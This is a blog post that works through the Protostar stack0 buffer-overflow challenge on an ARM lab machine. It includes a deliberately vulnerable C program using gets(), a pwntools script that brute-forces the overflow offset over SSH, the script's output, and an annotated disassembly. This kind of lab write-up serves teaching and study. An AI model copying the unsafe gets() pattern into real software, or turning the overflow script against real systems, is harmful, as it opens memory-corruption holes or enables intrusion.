hextrace
Posted on January 27, 2021
Let's get started with binary exploitation on ARM systems. This challenge is based on the 'protostar' series.
This is our vulnerable program:
#include <stdio.h>
int main() {
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if (modified != 0)
printf("modified: %d\n", modified);
else
printf("nope");
}
The goal is to abuse the unsafe gets
function to modify the modified
variable.
Both buffer
and modified
are on the stack. A buffer
overflow will overwrite the modified
variable.
We can use pwntools
to find the correct offset:
#!/usr/bin/env python3
from pwn import *
# ssh into the ARM box
socket = ssh(host='192.168.0.1', user='root', password='')
i = 0
while True:
i += 1
print('test', i)
payload = 'A' * i
process = socket.process('/root/protostarm/stack0/stack0')
process.sendline(payload)
res = process.recv().decode()
process.close()
if 'nope' not in res:
print('i =', i)
print(res)
break
socket.close()
After a while we have:
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Enabled
test 0
[...]
test 64
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1623
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1623)
test 65
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1627
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1627)
i = 65
modified : 65
[*] Closed connection to '192.168.0.1'
We successfully changed the modified
variable by entering 65 A's into the buffer
.
Now let's have a look at the disassembly so we can understand why it's 65:
00000538 <main>:
538: b580 push {r7, lr} ; save r7 and lr
; r7: saved frame pointer in thumb mode
; lr: saved instruction pointer (Link Register)
53a: b092 sub sp, #72 ; 0x48 ; reserve stack space
53c: af00 add r7, sp, #0 ; r7 = sp + 0
53e: 2300 movs r3, #0 ; r3 = 0
540: 647b str r3, [r7, #68] ; 0x44 ; modified = r3
542: 1d3b adds r3, r7, #4 ; r3 points to buffer
544: 4618 mov r0, r3 ; r0 = r3
546: f7ff ef58 blx 3f8 <gets@plt> ; gets(&buffer);
54a: 6c7b ldr r3, [r7, #68] ; 0x44 ; r3 = modified
54c: 2b00 cmp r3, #0 ; modified == 0 ?
54e: d007 beq.n 560 <main+0x28>
550: 6c7b ldr r3, [r7, #68] ; 0x44
552: 4619 mov r1, r3 ; r1 = modified (2nd argument)
554: 4b07 ldr r3, [pc, #28] ; (574 <main+0x3c>)
556: 447b add r3, pc
558: 4618 mov r0, r3 ; r0 = "modified: %d\n" (1st argument)
55a: f7ff ef48 blx 3ec <printf@plt> ; printf("modified: %d\n", modified);
55e: e004 b.n 56a <main+0x32>
560: 4b05 ldr r3, [pc, #20] ; (578 <main+0x40>)
562: 447b add r3, pc
564: 4618 mov r0, r3 ; r0 = r3 (load first arg)
566: f7ff ef42 blx 3ec <printf@plt> ; printf("nope");
56a: 2300 movs r3, #0 ; init r3
56c: 4618 mov r0, r3 ; r0 = r3
56e: 3748 adds r7, #72 ; 0x48 ; restore stack space
570: 46bd mov sp, r7 ; restore caller stack
572: bd80 pop {r7, pc} ; restore sp/pc
574: 00000072 andeq r0, r0, r2, ror r0
578: 00000076 andeq r0, r0, r6, ror r0
Stack is 72 bytes long and organized this way:
+++
| modified 00 |
| modified 00 |
| modified 00 |
| modified 00 |
| buffer[63] | i = 64
| |
| [...] |
| |
| buffer[0] | i = 1
--------
gets
appends a null terminator so it needs 65 A's to modify the variable. If we initially set modified
to 1, it only needs 64 A's.
Posted on January 27, 2021
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.